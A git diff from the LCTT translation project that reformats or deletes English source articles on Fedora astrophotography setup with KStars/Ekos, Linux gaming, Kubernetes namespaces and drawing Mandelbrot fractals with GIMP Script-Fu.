ypu need to install the [qhyccd SDK][9]. (_Note that this package is not officially supported by Fedora. Use it at your own risk.)_ At the time of writing, I chose to use the latest stable release, 20.08.26. Once you download the Linux 64-bit version of the SDK, to extract it: -``` +My personal setup includes a guide camera (QHY5 series, also known as Orion Starshoot) that does not have a driver in the mainline Fedora repositories. To enable it, ypu need to install the [qhyccd SDK][9]. (*Note that this package is not officially supported by Fedora. Use it at your own risk.)* At the time of writing, I chose to use the latest stable release, 20.08.26. Once you download the Linux 64-bit version of the SDK, to extract it: ``` - tar zxvf sdk_linux64_20.08.26.tgz ``` -``` - -Now change into the directory you just extracted, change the permissions of the _install.sh_ file to give you execute privileges, and run the _install.sh_: +Now change into the directory you just extracted, change the permissions of the *install.sh* file to give you execute privileges, and run the *install.sh*: ``` cd sdk_linux64_20.08.26 @@ -50,49 +44,35 @@ chmod +x install.sh sudo ./install.sh ``` -Now it’s time to install the qhyccd INDI driver. INDI is an open source software library used to control astronomical equipment. Unfortunately, the driver is unavailable in the mainline Fedora repositories, but it is in a Copr repository. (_Note: Copr is not officially supported by Fedora infrastructure. Use packages at your own risk.)_ If you prefer to have the newest (and perhaps unstable!) pieces of astronomy software, you can also enable the “bleeding” repositories at this time by following [this guide][10]. For this tutorial, you are only going to enable one repo: -``` +Now it’s time to install the qhyccd INDI driver. INDI is an open source software library used to control astronomical equipment. Unfortunately, the driver is unavailable in the mainline Fedora repositories, but it is in a Copr repository. (*Note: Copr is not officially supported by Fedora infrastructure. Use packages at your own risk.)* If you prefer to have the newest (and perhaps unstable!) pieces of astronomy software, you can also enable the “bleeding” repositories at this time by following [this guide][10]. For this tutorial, you are only going to enable one repo: ``` - sudo dnf copr enable xsnrg/indi-3rdparty-bleeding ``` -``` - Install the driver by running the following command: -``` ``` - sudo dnf install indi-qhy ``` -``` - Finally, update all of your system packages: -sudo dnf update -y - -To recap what you accomplished in this sectio: you added your user to the _dialout_ group, downloaded and installed the qhyccd driver, enabled the _indi-3rdparty-bleeding_ copr, installed the qhyccd-INDI driver with dnf, and updated your system. +To recap what you accomplished in this sectio: you added your user to the *dialout* group, downloaded and installed the qhyccd driver, enabled the *indi-3rdparty-bleeding* copr, installed the qhyccd-INDI driver with dnf, and updated your system. ### Connecting your equipment This is the time to connect all your equipment to your computer. Most astronomical equipment will connect via USB, and it’s really as easy as plugging each device into your computer’s USB ports. If you have a lot of equipment (mount, imaging camera, guide camera, focuser, filter wheel, etc), you should use an external powered-USB hub to make sure that all connected devices have adequate power. Once you have everything plugged in, run the following command to ensure that the system recognizes your equipment: -``` ``` - lsusb ``` -``` - You should see output similar to (but not the same as) the output here: ![][11] -You see in the output that the system recognizes the telescope mount (a SkyWatcher EQM-35 Pro) as _Prolific Technology, Inc. PL2303 Serial Port_, the imaging camera (a Sony a6000) as _Sony Corp. ILCE-6000_, and the guide camera (an Orion Starshoot, aka QHY5) as _Van Ouijen Technische Informatica_. Now that you have made sure your system recognizes your equipment, it’s time to open your desktop planetarium and telescope controller, KStars! +You see in the output that the system recognizes the telescope mount (a SkyWatcher EQM-35 Pro) as *Prolific Technology, Inc. PL2303 Serial Port*, the imaging camera (a Sony a6000) as *Sony Corp. ILCE-6000*, and the guide camera (an Orion Starshoot, aka QHY5) as *Van Ouijen Technische Informatica*. Now that you have made sure your system recognizes your equipment, it’s time to open your desktop planetarium and telescope controller, KStars! ### Setting up KStars @@ -100,15 +80,15 @@ It’s time to open [KStars][12], which is a desktop planetarium and also includ ![][13] -Follow the prompts to choose your home location (where you will be imaging from) and _Download Extra Data…_ +Follow the prompts to choose your home location (where you will be imaging from) and *Download Extra Data…* -![Setting your location][14] +![][14] -![“Download Extra Data”][15] +![][15] -![Choosing which catalogs to download][16] +![][16] -This will allow you to install additional star, nebula, and galaxy catalogs. You don’t need them, but they don’t take up too much space and add to the experience of using KStars. Once you’ve completed this, hit _Done_ in the bottom right corner to continue. +This will allow you to install additional star, nebula, and galaxy catalogs. You don’t need them, but they don’t take up too much space and add to the experience of using KStars. Once you’ve completed this, hit *Done* in the bottom right corner to continue. ### Getting familiar with KStars @@ -116,49 +96,49 @@ Now is a good time to play around with the KStars interface. You are greeted wit ![][17] -This is the desktop planetarium which allows you to view the placement of objects in the night sky. Double-clicking an object selects it, and right clicking on an object gives you options like _Center & Track_ which will follow the object in the planetarium, compensating for [sidereal time][18]. _Show DSS Image_ shows a real [digitized sky survey][19] image of the selected object. +This is the desktop planetarium which allows you to view the placement of objects in the night sky. Double-clicking an object selects it, and right clicking on an object gives you options like *Center & Track* which will follow the object in the planetarium, compensating for [sidereal time][18]. *Show DSS Image* shows a real [digitized sky survey][19] image of the selected object. ![][20] -Another essential feature is the _Set Time_ option in the toolbar. Clicking this will allow you to input a future (or past) time and then simulate the night sky as if that were the current date. +Another essential feature is the *Set Time* option in the toolbar. Clicking this will allow you to input a future (or past) time and then simulate the night sky as if that were the current date. -![The Set Time button][21] +![][21] ### Configuring capture equipment with Ekos -You’re familiar with the KStars layout and some basic functions, so it’s time to move on configuring your equipment using the [Ekos][22] observatory controller and automation tool. To open Ekos, click the observatory button in the toolbar or go to _Tools_ > _Ekos_. +You’re familiar with the KStars layout and some basic functions, so it’s time to move on configuring your equipment using the [Ekos][22] observatory controller and automation tool. To open Ekos, click the observatory button in the toolbar or go to *Tools* > *Ekos*. -![The Ekos button on the toolbar][23] +![][23] -You will see another setup wizard: the _Ekos Profile Wizard_. Click _Next_ to start the wizard. +You will see another setup wizard: the *Ekos Profile Wizard*. Click *Next* to start the wizard. ![][24] -In this tutorial, you have all of our equipment connected directly to your computer. A future article we will cover using an INDI server installed on a remote computer to control our equipment, allowing you to connect over a network and not have to be in the same physical space as your gear. For now though, select _Equipment is attached to this device_. +In this tutorial, you have all of our equipment connected directly to your computer. A future article we will cover using an INDI server installed on a remote computer to control our equipment, allowing you to connect over a network and not have to be in the same physical space as your gear. For now though, select *Equipment is attached to this device*. ![][25] -You are now asked to name your equipment profile. I usually name mine something like “Local Gear” to differentiate between profiles that are for remote gear, but name your profile what you wish. We will leave the button marked _Internal Guide_ checked and won’t select any additional services. Now click the _Create Profile & Select Devices_ button. +You are now asked to name your equipment profile. I usually name mine something like “Local Gear” to differentiate between profiles that are for remote gear, but name your profile what you wish. We will leave the button marked *Internal Guide* checked and won’t select any additional services. Now click the *Create Profile & Select Devices* button. ![][26] This next screen is where we can select your particular driver to use for each individual piece of equipment. This part will be specific to your setup depending on what gear you use. For this tutorial, I will select the drivers for my setup. -My mount, a [SkyWatcher EQM-35 Pro][27], uses the _EQMod Mount_ under _SkyWatcher_ in the menu (this driver is also compatible with all SkyWatcher equatorial mounts, including the [EQ6-R Pro][28] and the [EQ8-R Pro][29]). For my Sony a6000 imaging camera, I choose the _Sony DSLR_ under _DSLRs_ under the CCD category. Under _Guider_, I choose the _QHY CCD_ under _QHY_ for my Orion Starshoot (and any QHY5 series camera). That last driver we want to select will be under the Aux 1 category. We want to select _Astrometry_ from the drop-down window. This will enable the Astrometry plate-solver from within Ekos that will allow our telescope to automatically figure out where in the night sky it is pointed, saving us the time and hassle of doing a one, two, or three star calibration after setting up our mount. +My mount, a [SkyWatcher EQM-35 Pro][27], uses the *EQMod Mount* under *SkyWatcher* in the menu (this driver is also compatible with all SkyWatcher equatorial mounts, including the [EQ6-R Pro][28] and the [EQ8-R Pro][29]). For my Sony a6000 imaging camera, I choose the *Sony DSLR* under *DSLRs* under the CCD category. Under *Guider*, I choose the *QHY CCD* under *QHY* for my Orion Starshoot (and any QHY5 series camera). That last driver we want to select will be under the Aux 1 category. We want to select *Astrometry* from the drop-down window. This will enable the Astrometry plate-solver from within Ekos that will allow our telescope to automatically figure out where in the night sky it is pointed, saving us the time and hassle of doing a one, two, or three star calibration after setting up our mount. -You selected your drivers. Now it’s time to configure your telescope. Add new telescope profiles by clicking on the + button in the lower right. This is essential for computing field-of-view measurements so you can tell what your images will look like when you open the shutter. Once you click the + button, you will be presented with a form where you can enter the specifications of your telescope and guide scope. For my imaging telescope, I will enter Celestron into the _Vendor_ field, SS-80 into the _Model_ field, I will leave the _Driver_ field as None, _Type_ field as Refractor, _Aperture_ as 80mm, and _Focal Length_ as 400mm. +You selected your drivers. Now it’s time to configure your telescope. Add new telescope profiles by clicking on the + button in the lower right. This is essential for computing field-of-view measurements so you can tell what your images will look like when you open the shutter. Once you click the + button, you will be presented with a form where you can enter the specifications of your telescope and guide scope. For my imaging telescope, I will enter Celestron into the *Vendor* field, SS-80 into the *Model* field, I will leave the *Driver* field as None, *Type* field as Refractor, *Aperture* as 80mm, and *Focal Length* as 400mm. ![][30] -After you enter the data, hit the _Save_ button. You will see the data you just entered appear in the left window with an index number of 1 next to it. Now you can go about entering the specs for your guide scope following the steps above. Once you hit save here, the guide scope will also appear in the left window with an index number of 2. Once all of your scopes are entered, close this window. Now select your _Primary_ and _Guide_ telescopes from the drop-down window. +After you enter the data, hit the *Save* button. You will see the data you just entered appear in the left window with an index number of 1 next to it. Now you can go about entering the specs for your guide scope following the steps above. Once you hit save here, the guide scope will also appear in the left window with an index number of 2. Once all of your scopes are entered, close this window. Now select your *Primary* and *Guide* telescopes from the drop-down window. ![][31] -After all that work, everything should be correctly configured! Click the _Close_ button and complete the final bit of setup. +After all that work, everything should be correctly configured! Click the *Close* button and complete the final bit of setup. ### Starting your capture equipment -This last step before you can start taking images should be easy enough. Click the _Play_ button under Start & Stop Ekos to connect to your equipment. +This last step before you can start taking images should be easy enough. Click the *Play* button under Start & Stop Ekos to connect to your equipment. ![][32] @@ -166,26 +146,23 @@ You will be greeted with a screen that looks similar to this: ![][33] -When you click on the tabs at the top of the screen, they should all show a green dot next to _Connection_, indicating that they are connected to your system. On my setup, the baud rate for my mount (the EQMod Mount tab) is set incorrectly, and so the mount is not connected. +When you click on the tabs at the top of the screen, they should all show a green dot next to *Connection*, indicating that they are connected to your system. On my setup, the baud rate for my mount (the EQMod Mount tab) is set incorrectly, and so the mount is not connected. ![][34] -This is an easy fix; click on the _EQMod Mount_ tab, then the _Connection_ sub-tab, and then change the baud rate from 9600 to 115200. Now is a good time to ensure the serial port under _Ports_ is the correct serial port for your mount. You can check which port the system has mounted your device on by running the command: -``` +This is an easy fix; click on the *EQMod Mount* tab, then the *Connection* sub-tab, and then change the baud rate from 9600 to 115200. Now is a good time to ensure the serial port under *Ports* is the correct serial port for your mount. You can check which port the system has mounted your device on by running the command: ``` - ls /dev -``` | grep USB ``` -You should see _ttyUSB0_. If there is more than one USB-serial device plugged in at a time, you will see more than one ttyUSB port, with an incrementing following number. To figure out which port is correct. unplug your mount and run the command again. +You should see *ttyUSB0*. If there is more than one USB-serial device plugged in at a time, you will see more than one ttyUSB port, with an incrementing following number. To figure out which port is correct. unplug your mount and run the command again. -Now click on the _Main Control_ sub-tab, click _Connect_ again, and wait for the mount to connect. It might take a few seconds, be patient and it should connect. +Now click on the *Main Control* sub-tab, click *Connect* again, and wait for the mount to connect. It might take a few seconds, be patient and it should connect. -The last thing to do is set the sensor and pixel size parameters for my camera. Under the _Sony DSLR Alpha-A6000 (Control)_ tab, select the _Image Info_ sub-tab. This is where you can enter your sensor specifications; if you don’t know them, a quick search on the internet will bring you your sensor’s maximum resolution as well as pixel pitch. Enter this data into the right-side boxes, then press the _Set_ button to load them into the left boxes and save them into memory. Hit the _Close_ button when you are done. +The last thing to do is set the sensor and pixel size parameters for my camera. Under the *Sony DSLR Alpha-A6000 (Control)* tab, select the *Image Info* sub-tab. This is where you can enter your sensor specifications; if you don’t know them, a quick search on the internet will bring you your sensor’s maximum resolution as well as pixel pitch. Enter this data into the right-side boxes, then press the *Set* button to load them into the left boxes and save them into memory. Hit the *Close* button when you are done. ![][35] @@ -198,14 +175,14 @@ Your equipment is ready to use. In the next article, you will learn how to captu via: https://fedoramagazine.org/astrophotography-with-fedora-astronomy-lab-setting-up/ 作者:[Geoffrey Marr][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://fedoramagazine.org/author/coremodule/ -[b]: https://github.com/lujun9972 +[b]: https://github.com/lkxed [1]: https://fedoramagazine.org/wp-content/uploads/2021/02/astrophotography-setup-2-816x345.jpg [2]: https://fedoramagazine.org/wp-content/uploads/2020/11/IMG_4151-768x1024.jpg [3]: https://labs.fedoraproject.org/en/astronomy/ diff --git a/sources/tech/20210207 3 ways to play video games on Linux.md b/sources/tech/20210207 3 ways to play video games on Linux.md deleted file mode 100644 index 1c132ab588..0000000000 --- a/sources/tech/20210207 3 ways to play video games on Linux.md +++ /dev/null @@ -1,98 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 ways to play video games on Linux) -[#]: via: (https://opensource.com/article/21/2/linux-gaming) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -3 ways to play video games on Linux -====== -If you're ready to put down the popcorn and experience games from all -angles, start gaming on Linux. -![Gaming with penguin pawns][1] - -In 2021, there are more reasons why people love Linux than ever before. In this series, I'll share 21 different reasons to use Linux. Today, I'll start with gaming. - -I used to think a "gamer" was a very specific kind of creature, carefully cataloged and classified by scientists after years of study and testing. I never classified myself as a gamer because most of the games I played were either on a tabletop (board games and pen-and-paper roleplaying games), NetHack, or Tetris. Now that games are available on everything from mobile devices, consoles, computers, and televisions, it feels like it's a good time to acknowledge that "gamers" come in all different shapes and sizes. If you want to call yourself a gamer, you can! There's no qualification exam. You don't have to know the Konami Code by heart (or even what that reference means); you don't have to buy and play "triple-A" games. If you enjoy a game from time to time, you can rightfully call yourself a gamer. And if you want to be a gamer, there's never been a better time to use Linux. - -### Welcome to the underground - -Peel back the glossy billboard ads, and underneath, you're sure to find a thriving gaming underground. It's a movement that began with the nascent gaming market before anyone believed money could be made off software that wasn't either a spreadsheet or typing tutor. Indie games have carved out a place in pop culture (believe it or not, [Minecraft, while not open source][2], started out as an indie game) in several ways, proving that in the eyes of players, gameplay comes before production value. - -There's a lot of cross-over in the indie and open source developer space. There's nothing quite like kicking back with your Linux laptop and browsing [itch.io][3] or your distribution's software repository for a little-known but precious gem of an open source game. - -There are all kinds of open source games available, including plenty of [first person shooters][4], puzzle games like [Nodulus][5], systems management games like [OpenTTD][6], racing games like [Jethook][7], tense escape campaigns like [Sauerbraten][8], and too many more to mention (with more arriving each year, thanks to great initiatives like [Open Jam][9]). - -![Jethook game screenshot][10] - -Jethook - -Overall, the experience of delving into the world of open source games is different than the immediate satisfaction of buying whatever a major game studio releases next. Games by the big studios provide plenty of visual and sonic stimuli, big-name actors, and upwards of 60 hours of gameplay. Independent and open source games aren't likely to match that, but then again, major studios can't match the sense of discovery and personal connection you get when you find a game that you just know nobody else _has ever heard of_. And they can't hope to match the sense of urgency you get when you realize that everybody in the world really, really needs to hear about the great game you've just played. - -Take some time to identify the kinds of games you enjoy the most, and then have a browse through your distribution's software repository, [Flathub][11], and open game jams. See what you can uncover and, if you like the game enough, help to promote it! - -### Proton and WINE - -Gaming on Linux doesn't stop with open source, but it is enabled by it. When Valve Software famously brought Linux back into the gaming market a few years ago by releasing their Steam client for Linux, the hope was that it would compel game studios to write code native to Linux systems. Some did, but Valve failed to push Linux as the primary platform even on their own Valve-branded gaming computers, and it seems that most studios have reverted to their old ways of Windows-only games. - -Interestingly, though, the end result has produced more open source code than probably intended. Valve's solution for Linux compatibility has been to create the [Proton][12] project, a compatibility layer to translate Windows games to Linux. At its core, Proton uses [WINE (Wine Is Not an Emulator)][13], the too-good-to-be-true reimplementation of major Windows libraries as open source. - -The game market's spoils have turned out to be a treasure trove for the open source world, and today, most games from major studios can be run on Linux as if they were native. - -Of course, if you're the type of gamer who has to have the latest title on the day of release, you can certainly expect unpleasant surprises. That's not surprising, though, because few major games are released without bugs requiring large patches a week later. Those bugs can be even worse when a game runs on Proton and WINE, so Linux gamers often benefit by refraining from early adoption. The trade-off may be worth it, though. I've played a few games that run perfectly on Proton, only to discover later from angry forum posts that it's apparently riddled with fatal errors when played on the latest version of Windows. In short, it seems that games from major studios aren't perfect, and so you can expect similar-but-different problems when playing them on Linux as you would on Windows. - -### Flatpak - -One of the most exciting developments of recent Linux history is [Flatpak][14], a cross between local containers and packaging. It's got nothing to do with gaming (or doesn't it?), but it enables Linux applications to essentially be distributed universally to any Linux distribution. This applies to gaming because there are often lots of fringe technologies used in games, and it can be pretty demanding on distribution maintainers to keep up with all the latest versions required by any given game. - -Flatpak abstracts that away from the distribution by establishing a common Flatpak-specific layer for application libraries. Distributors of flatpaks know that if a library isn't in a Flatpak SDK, then it must be included in the flatpak. It's simple and straightforward. - -Thanks to Flatpak, the Steam client runs on something obvious like Fedora and on distributions not traditionally geared toward the gaming market, like [RHEL][15] and Slackware! - -### Lutris - -If you're not eager to sign up on Steam, though, there's my preferred gaming client, [Lutris][16]. On the surface, Lutris is a simple game launcher for your system, a place you can go when you know you want to play a game but just can't decide what to launch yet. With Lutris, you can add [all the games you have on your system][17] to create your own gaming library, and then launch and play them right from the Lutris interface. Better still, Lutris contributors (like me!) regularly publish installer scripts to make it easy for you to install games you own. It's not always necessary, but it can be a nice shortcut to bypass some tedious configuration. - -Lutris can also enlist the help of _runners_, or subsystems that run games that wouldn't normally launch straight from your application menu. For instance, if you want to play console games like the open source [Warcraft Tower Defense][18], you must run an emulator, and Lutris can handle that for you (provided you have the emulator installed). Additionally, should you have a GOG.com (Good Old Games) account, Lutris can access it and import games from your library. - -There's no easier way to manage your games. - -### Play games - -Linux gaming is a fulfilling and empowering experience. I used to avoid computer gaming because I didn't feel I had much of a choice. It seemed that there were always expensive games being released, which inevitably got extreme reactions from happy and unhappy gamers alike, and then the focus shifted quickly to the next big thing. On the other hand, open source gaming has introduced me to the _people_ of the gaming world. I've met other players and developers, I've met artists and musicians, fans and promoters, and I've played an assortment of games that I never even realized existed. Some of them were barely long enough to distract me for just one afternoon, while others have provided me hours and hours of obsessive gameplay, modding, level design, and fun. - -If you're ready to put down the popcorn and experience games from all angles, start gaming on Linux. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/linux-gaming - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gaming_grid_penguin.png?itok=7Fv83mHR (Gaming with penguin pawns) -[2]: https://opensource.com/alternatives/minecraft -[3]: https://itch.io/jam/open-jam-2020 -[4]: https://opensource.com/article/20/5/open-source-fps-games -[5]: https://hyperparticle.itch.io/nodulus -[6]: https://www.openttd.org/ -[7]: https://rcorre.itch.io/jethook -[8]: http://sauerbraten.org/ -[9]: https://opensource.com/article/18/9/open-jam-announcement -[10]: https://opensource.com/sites/default/files/game_0.png -[11]: http://flathub.org -[12]: https://github.com/ValveSoftware/Proton -[13]: http://winehq.org -[14]: https://opensource.com/business/16/8/flatpak -[15]: https://www.redhat.com/en/enterprise-linux-8 -[16]: http://lutris.net -[17]: https://opensource.com/article/18/10/lutris-open-gaming-platform -[18]: https://ndswtd.wordpress.com/download diff --git a/sources/tech/20210208 Fedora Aarch64 on the SolidRun HoneyComb LX2K.md b/sources/tech/20210208 Fedora Aarch64 on the SolidRun HoneyComb LX2K.md index e060ca66fa..ef95349df3 100644 --- a/sources/tech/20210208 Fedora Aarch64 on the SolidRun HoneyComb LX2K.md +++ b/sources/tech/20210208 Fedora Aarch64 on the SolidRun HoneyComb LX2K.md @@ -42,7 +42,7 @@ nvme_core.default_ps_max_latency_us=0 In the end I upgraded my main workstation so I could repurpose its existing Samsung EVO 960 for the HoneyComb which worked much better. -After some fidgeting I was able to install Fedora but it became apparent that the integrated network ports still don’t work with the mainline kernel. The NXP tech is great but requires a custom kernel build and tooling. Some earlier blogs got around this with a USB->RJ45 Ethernet adapter which works fine. Hopefully network support will be mainlined soon, but for now I snagged a kernel SRPM from the helpful engineers on Discord. With the custom kernel the 1Gbe NIC worked fine, but it turns out the SFP+ ports need more configuration. They won’t be recognized as interfaces until you use NXP’s _restool_ utility to map ports to their usage. In this case just a runtime mapping of _dmap -> dni_ was required. This is NXP’s way of mapping a MAC to a network interface via IOCTL commands. The restool binary isn’t provided either and must be built from source. It then layers on management scripts which use cheeky $arg0 references for redirection to call the restool binary with complex arguments. +After some fidgeting I was able to install Fedora but it became apparent that the integrated network ports still don’t work with the mainline kernel. The NXP tech is great but requires a custom kernel build and tooling. Some earlier blogs got around this with a USB->RJ45 Ethernet adapter which works fine. Hopefully network support will be mainlined soon, but for now I snagged a kernel SRPM from the helpful engineers on Discord. With the custom kernel the 1Gbe NIC worked fine, but it turns out the SFP+ ports need more configuration. They won’t be recognized as interfaces until you use NXP’s _restool_ utility to map ports to their usage. In this case just a runtime mapping of _dmap -> dni_ was required. This is NXP’s way of mapping a MAC to a network interface via IOCTL commands. The restool binary isn’t provided either and must be built from source. It then layers on management scripts which use cheeky $arg0 references for redirection to call the restool binary with complex arguments. Since I was starting to accumulate quite a few custom packages it was apparent that a COPR repo was needed to simplify this for Fedora. If you’re not familiar with COPR I think it’s one of Fedora’s finest resources. This repo contains the uefi build (currently failing build), 5.10.5 kernel built with network support, and the restool binary with supporting scripts. I also added a oneshot systemd unit to enable the SFP+ ports on boot: ``` diff --git a/sources/tech/20210210 Configure multi-tenancy with Kubernetes namespaces.md b/sources/tech/20210210 Configure multi-tenancy with Kubernetes namespaces.md index 5ced955007..5804c35922 100644 --- a/sources/tech/20210210 Configure multi-tenancy with Kubernetes namespaces.md +++ b/sources/tech/20210210 Configure multi-tenancy with Kubernetes namespaces.md @@ -85,8 +85,8 @@ Describe the newly created namespace: ``` [root@master ~]# kubectl describe namespace test Name:         test -Labels:       <none> -Annotations:  <none> +Labels:       +Annotations:   Status:       Active No resource quota. No LimitRange resource. @@ -233,8 +233,8 @@ Verify the Roles: ``` $ kubectl describe roles -n test   Name:         list-deployments -  Labels:       <none> -  Annotations:  <none> +  Labels:       +  Annotations:     PolicyRule:     Resources         Non-Resource URLs  Resource Names  Verbs     ---------         -----------------  --------------  ----- diff --git a/sources/tech/20210210 Draw Mandelbrot fractals with GIMP scripting.md b/sources/tech/20210210 Draw Mandelbrot fractals with GIMP scripting.md index d38f3fb54d..3ff3460421 100644 --- a/sources/tech/20210210 Draw Mandelbrot fractals with GIMP scripting.md +++ b/sources/tech/20210210 Draw Mandelbrot fractals with GIMP scripting.md @@ -1,57 +1,51 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Draw Mandelbrot fractals with GIMP scripting) -[#]: via: (https://opensource.com/article/21/2/gimp-mandelbrot) -[#]: author: (Cristiano L. Fontana https://opensource.com/users/cristianofontana) +[#]: subject: "Draw Mandelbrot fractals with GIMP scripting" +[#]: via: "https://opensource.com/article/21/2/gimp-mandelbrot" +[#]: author: "Cristiano L. Fontana https://opensource.com/users/cristianofontana" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Draw Mandelbrot fractals with GIMP scripting ====== Create complex mathematical images with GIMP's Script-Fu language. + ![Painting art on a computer screen][1] +Image by: Opensource.com + The GNU Image Manipulation Program ([GIMP][2]) is my go-to solution for image editing. Its toolset is very powerful and convenient, except for doing [fractals][3], which is one thing you cannot draw by hand easily. These are fascinating mathematical constructs that have the characteristic of being [self-similar][4]. In other words, if they are magnified in some areas, they will look remarkably similar to the unmagnified picture. Besides being interesting, they also make very pretty pictures! -![Portion of a Mandelbrot fractal using GIMPs Coldfire palette][5] +![Rotated and magnified portion of the Mandelbrot set using Firecode][5] -Portion of a Mandelbrot fractal using GIMP's Coldfire palette (Cristiano Fontana, [CC BY-SA 4.0][6]) +GIMP can be automated with [Script-Fu][6] to do [batch processing of images][7] or create complicated procedures that are not practical to do by hand; drawing fractals falls in the latter category. This tutorial will show how to draw a representation of the [Mandelbrot fractal][8] using GIMP and Script-Fu. -GIMP can be automated with [Script-Fu][7] to do [batch processing of images][8] or create complicated procedures that are not practical to do by hand; drawing fractals falls in the latter category. This tutorial will show how to draw a representation of the [Mandelbrot fractal][9] using GIMP and Script-Fu. +![Mandelbrot set drawn using GIMP's Firecode palette][9] -![Mandelbrot set drawn using GIMP's Firecode palette][10] - -Portion of a Mandelbrot fractal using GIMP's Firecode palette. (Cristiano Fontana, [CC BY-SA 4.0][6]) - -![Rotated and magnified portion of the Mandelbrot set using Firecode.][11] - -Rotated and magnified portion of the Mandelbrot set using the Firecode palette. (Cristiano Fontana, [CC BY-SA 4.0][6]) +![Rotated and magnified portion of the Mandelbrot set using Firecode.][10] In this tutorial, you will write a script that creates a layer in an image and draws a representation of the Mandelbrot set with a colored environment around it. ### What is the Mandelbrot set? -Do not panic! I will not go into too much detail here. For the more math-savvy, the Mandelbrot set is defined as the set of [complex numbers][12] _a_ for which the succession +Do not panic! I will not go into too much detail here. For the more math-savvy, the Mandelbrot set is defined as the set of [complex numbers][11] *a* for which the succession -_zn+1 = zn2 + a_ +zn+1 = zn2 + a -does not diverge when starting from _z₀ = 0_. +does not diverge when starting from *z₀ = 0*. In reality, the Mandelbrot set is the fancy-looking black blob in the pictures; the nice-looking colors are outside the set. They represent how many iterations are required for the magnitude of the succession of numbers to pass a threshold value. In other words, the color scale shows how many steps are required for the succession to pass an upper-limit value. ### GIMP's Script-Fu -[Script-Fu][7] is the scripting language built into GIMP. It is an implementation of the [Scheme programming language][13]. +[Script-Fu][12] is the scripting language built into GIMP. It is an implementation of the [Scheme programming language][13]. -If you want to get more acquainted with Scheme, GIMP's documentation offers an [in-depth tutorial][14]. I also wrote an article about [batch processing images][8] using Script-Fu. Finally, the Help menu offers a Procedure Browser with very extensive documentation with all of Script-Fu's functions described in detail. +If you want to get more acquainted with Scheme, GIMP's documentation offers an [in-depth tutorial][14]. I also wrote an article about [batch processing images][15] using Script-Fu. Finally, the Help menu offers a Procedure Browser with very extensive documentation with all of Script-Fu's functions described in detail. -![GIMP Procedure Browser][15] - -(Cristiano Fontana, [CC BY-SA 4.0][6]) - -Scheme is a Lisp-like language, so a major characteristic is that it uses a [prefix notation][16] and a [lot of parentheses][17]. Functions and operators are applied to a list of operands by prefixing them: +![GIMP Procedure Browser][16] +Scheme is a Lisp-like language, so a major characteristic is that it uses a [prefix notation][17] and a [lot of parentheses][18]. Functions and operators are applied to a list of operands by prefixing them: ``` (function-name operand operand ...) @@ -67,7 +61,6 @@ Scheme is a Lisp-like language, so a major characteristic is that it uses a [pre You can write your first script and save it to the **Scripts** folder found in the preferences window under **Folders → Scripts**. Mine is at `$HOME/.config/GIMP/2.10/scripts`. Write a file called `mandelbrot.scm` with: - ``` ; Complex numbers implementation (define (make-rectangular x y) (cons x y)) @@ -111,17 +104,17 @@ You can write your first script and save it to the **Scripts** folder found in t   (define bytes-per-pixel (car (gimp-drawable-bpp drawable)))   ; Fractal drawing section. -  ; Code from: +  ; Code from: https://rosettacode.org/wiki/Mandelbrot_set#Racket   (define (iterations a z i)     (let ((z′ (add-c (mul-c z z) a))) -       (if (or (= i num-colors) (> (magnitude z′) threshold)) +       (if (or (= i num-colors) (> (magnitude z′) threshold))           i           (iterations a z′ (+ i 1))))) -  (define (iter->color i) -    (if (>= i num-colors) -        (list->vector '(0 0 0)) -        (list->vector (vector-ref colors i)))) +  (define (iter->color i) +    (if (>= i num-colors) +        (list->vector '(0 0 0)) +        (list->vector (vector-ref colors i))))   (define z0 (make-rectangular 0 0)) @@ -130,10 +123,10 @@ You can write your first script and save it to the **Scripts** folder found in t            (real-y (- (* domain-height (/ y height)) offset-y))            (a (make-rectangular real-x real-y))            (i (iterations a z0 0)) -           (color (iter->color i))) -      (cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color) +           (color (iter->color i))) +      (cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color)                                            (loop (+ x 1) end-x y end-y)) -            ((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y)) +            ((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y))                                             (loop 0 end-x (+ y 1) end-y)))))   (loop 0 width 0 height) @@ -161,15 +154,14 @@ You can write your first script and save it to the **Scripts** folder found in t   SF-ADJUSTMENT "X offset"           '(2.25 -20 20 0.1 1 4 0)   SF-ADJUSTMENT "Y offset"           '(1.50 -20 20 0.1 1 4 0) ) -(script-fu-menu-register "script-fu-mandelbrot" "<Image>/Layer/") +(script-fu-menu-register "script-fu-mandelbrot" "/Layer/") ``` I will go through the script to show you what it does. ### Get ready to draw the fractal -Since this image is all about complex numbers, I wrote a quick and dirty implementation of complex numbers in Script-Fu. I defined the complex numbers as [pairs][18] of real numbers. Then I added the few functions needed for the script. I used [Racket's documentation][19] as inspiration for function names and roles: - +Since this image is all about complex numbers, I wrote a quick and dirty implementation of complex numbers in Script-Fu. I defined the complex numbers as [pairs][19] of real numbers. Then I added the few functions needed for the script. I used [Racket's documentation][20] as inspiration for function names and roles: ``` (define (make-rectangular x y) (cons x y)) @@ -198,7 +190,6 @@ Since this image is all about complex numbers, I wrote a quick and dirty impleme The new function is called `script-fu-mandelbrot`. The best practice for writing a new function is to call it `script-fu-something` so that it can be identified in the Procedure Browser easily. The function requires a few parameters: an 